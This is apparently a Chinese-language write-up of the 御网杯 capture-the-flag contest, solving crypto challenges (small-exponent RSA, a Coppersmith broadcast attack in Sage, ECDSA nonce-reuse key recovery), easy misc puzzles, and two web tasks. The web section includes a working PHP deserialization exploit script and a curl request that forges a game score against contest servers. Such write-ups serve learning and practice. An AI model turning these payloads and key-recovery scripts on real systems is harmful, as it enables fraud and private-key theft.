御网杯web+misc+crypto题解
御网杯题解密码BabyRSA拿到题目,看到e很小,可以用小e攻击来解,直接用工具转成文字这样就求解出来了ScatterRSA这是典型的低指数广播攻击变种,其中加了线性变换,但本质仍然可以转化为同一个未知数 m 的多项式同余问题,每个 f_i(x) 都是关于 x 的三次多项式。因为 n1, n2, n3 互素,可以把三个多项式的每一项系数分别用 CRT 合并。也就是说, m 是模 N 下多项式 F(
御网杯题解
密码
BabyRSA
拿到题目,看到e很小,可以用小e攻击来解,直接用工具
转成文字
这样就求解出来了
ScatterRSA
这是典型的低指数广播攻击变种,其中加了线性变换,但本质仍然可以转化为同一个未知数 m 的多项式同余问题,
f1(m) = (a1*m + b1)^3 - c1 ≡ 0 mod n1
f2(m) = (a2*m + b2)^3 - c2 ≡ 0 mod n2
f3(m) = (a3*m + b3)^3 - c3 ≡ 0 mod n3每个 f_i(x) 都是关于 x 的三次多项式。
因为 n1, n2, n3 互素,可以把三个多项式的每一项系数分别用 CRT 合并。也就是说, m 是模 N 下多项式 F(x) 的一个小根。
之后再用coppersmith求解即可。
exp
#sage
n1 = 78406644063412330827144269082165693855524775872040115517201173073443410480229769568274148648378599447340559212013136304104371398343431564153428535062874800376311265127625727766687101716232202416348874941159422385827020377234200304383339914279306109539295055950771168695795983450922479086642719974951568001123
a1 = 179069785188197128063735833062298282088
b1 = 108602310920516135899953625199026479831613528130098983765509775304380481049236
c1 = 63252812179719365415824095661395699873619221281620649284116525456495492657969128347395906262694181920298642514886137258913612425874543244412361141570055505065364160387485022351593955914517007934817693712484398995438325025790526298775819525749798156105149707900940592786793945170245658868658074048714286848360
n2 = 95020468976740939492744504421572718358377589957590862534596426944713745697519407316474954374220717547414847190383624684829981365714162496004205923099654648343561409997185055826399789260059018296236445634896974399171937408534594770556492595577486034736886981715897932731287622893964944487359432563222589773169
a2 = 256937765435419090013996554824329198102
b2 = 106194089384191278641160829411989148866555891040956845008761670010296097473891
c2 = 69189455762124018990354259751049315347885716276141026926254387098606184767677119541615753786850384135301904271598568283598341309350338300849980006939154544582117288358462253645929195237077943587484536869068620740282202954818087710662521305731662434404639604765467522290344380872734642898064819919222866525595
n3 = 76327387850259066558503241279944367595819739218711435387090070188701489593268018671200393965036334822971788731105131043689617213814536539958962946216274727013886635077932479201396877992034094563923228010894175882636493331356330645383301647712606020240651124738679361743860337944932489521911308225518554189671
a3 = 230197610510629587425547735570441529186
b3 = 102036531983721422375656270902750955826372568198958868967463605609586959104862
c3 = 70530911982806921131468678265423284512112079960880985596519011279227498232312624801272691438407551711362218333097001183623780244884146290664329110735889965737872515329899563749587762154521351009913925896897223116909384396989202217844912113182815342075250443286215518
mods = [Integer(n1), Integer(n2), Integer(n3)]
params = [
(Integer(a1), Integer(b1), Integer(c1)),
(Integer(a2), Integer(b2), Integer(c2)),
(Integer(a3), Integer(b3), Integer(c3))
]
N = prod(mods)
PR.<x> = PolynomialRing(ZZ)
polys = [(a*x + b)^3 - c for a, b, c in params]
coeffs = []
for k in range(4):
residues = [Integer(polys[i][k]) % mods[i] for i in range(3)]
coeffs.append(Integer(crt(residues, mods)))
lead = Integer(coeffs[3])
print("N bits =", Integer(N).nbits())
print("lead gcd =", gcd(lead, N))
ZN = Zmod(N)
R.<y> = PolynomialRing(ZN)
f = y^3 + sum((ZN(coeffs[k]) / ZN(lead)) * y^k for k in range(3))
print("f degree =", f.degree())
for xb in [384, 448, 512, 640, 768, 900, 1000]:
print("trying X=2^%d" % xb)
roots = f.small_roots(X=2^xb, beta=1.0)
print("roots =", roots)
for r in roots:
m = Integer(r)
ok = True
for n, (a, b, c) in zip(mods, params):
if power_mod(a*m + b, 3, n) != c % n:
ok = False
break
if ok:
flag = int(m).to_bytes((int(m).bit_length() + 7) // 8, "big")
print("FOUND_INT =", m)
print("FOUND_BYTES =", flag)
print("FOUND_TEXT =", flag.decode(errors="replace"))
raise SystemExit
print("not found")ECDSA nonce 重用
根据题目提示可知是ECDAS nonce 重用,ECDSA 签名公式为
s = k⁻¹ * (z + r*d) mod n当两次签名使用相同的 nonce k 时(表现为 r1 == r2),两式相减可消去私钥项:
s1 - s2 = k⁻¹ * (z1 - z2) mod n从而恢复 k,再代回任一签名方程求出私钥 d。
exp
import hashlib
from ecdsa import SECP256k1
n = SECP256k1.order
r = 79013718241246135302610197377430012073343423894519665480327871129212060301075
s1 = 103286208825942613961036297876825547961346350046619406322280179767228016529778
s2 = 79104101230423979234833091375845809917052647390793147016296814906477227009899
msg1 = bytes.fromhex("57656c636f6d6520746f2074686520435446206368616c6c656e676521")
msg2 = bytes.fromhex("506c65617365207265636f766572207468652073656372657420666c61672e")
z1 = int(hashlib.sha256(msg1).hexdigest(), 16)
z2 = int(hashlib.sha256(msg2).hexdigest(), 16)
k = ((z1 - z2) * pow(s1 - s2, -1, n)) % n
d = ((s1 * k - z1) * pow(r, -1, n)) % n
G = SECP256k1.generator
point = G * d
assert point.x() == pub_x and point.y() == pub_y
private_key_hex = format(d, '064x')
print(private_key_hex)之后再按照格式求前32个,拼起来就是flag
MISC
签到题-损坏的压缩包
直接解压
然后base64解码即可
flag{ndtg}迷宫
一直解压到底
使用010eidtor打开,将里面的文本base64解码即可
flag{83228b2031aa650acd1f278704e74c31}幻影
将下载后的附件用010editor打开
对后面的这串字符使用CyberChef爆破即可
WEB
PHP_Payment
漏洞分析
查看源码发现优惠券接口 /api/apply_coupon.php 会对用户提交的 coupon 参数进行 Base64 解码后直接反序列化:
继续查看 models.php ,发现存在 PromoManager 类:
因此可以构造一个 PromoManager 对象,控制 promo_credit 为较大数值,反序列化后对象销毁时会触发 __destruct() ,从而给当前 session 增加余额。
利用 Payload
构造序列化对象:
Base64 编码后:
先提交优惠券,再使用同一个 session 购买 flag。
利用脚本
import base64
import requests
base = "http://47.99.147.34:19231"
s = requests.Session()
s.get(base + "/")
payload = 'O:12:"PromoManager":2:{s:12:"promo_credit";
i:100000;s:10:"promo_code";s:3:"VIP";}'
coupon = base64.b64encode(payload.encode()).decode()
print(s.post(base + "/api/apply_coupon.php", data=
{"coupon": coupon}).text)
print(s.post(base + "/buy.php", data={"item": "flag"}).
text)Flag
flag{89a06d987bdf79718d6c0c60ea91fcf5}Snake_Game
首先可以自己玩到300分
或者:
漏洞分析
访问页面后查看前端 JS,发现游戏结束时会调用 checkWin(score) :
这里服务端根据客户端提交的 score 判断是否达到 300 分。由于分数完全由前端传入,可以直接伪造请求提交 score=300 ,无需真正玩到 300 分。
利用方式
直接 POST 提交分数:
curl -X POST -F "score=300" http://120.27.146.76:29459/
index.php返回:
{
"status": "success",
"message": "Congratulations!",
"flag": "flag{5cf1ef3539860b778211db423b4f6558}"
}
总结
总体来说密码方向和misc还是比较基础的,但是还是有些难题的,适合大家进阶或练手做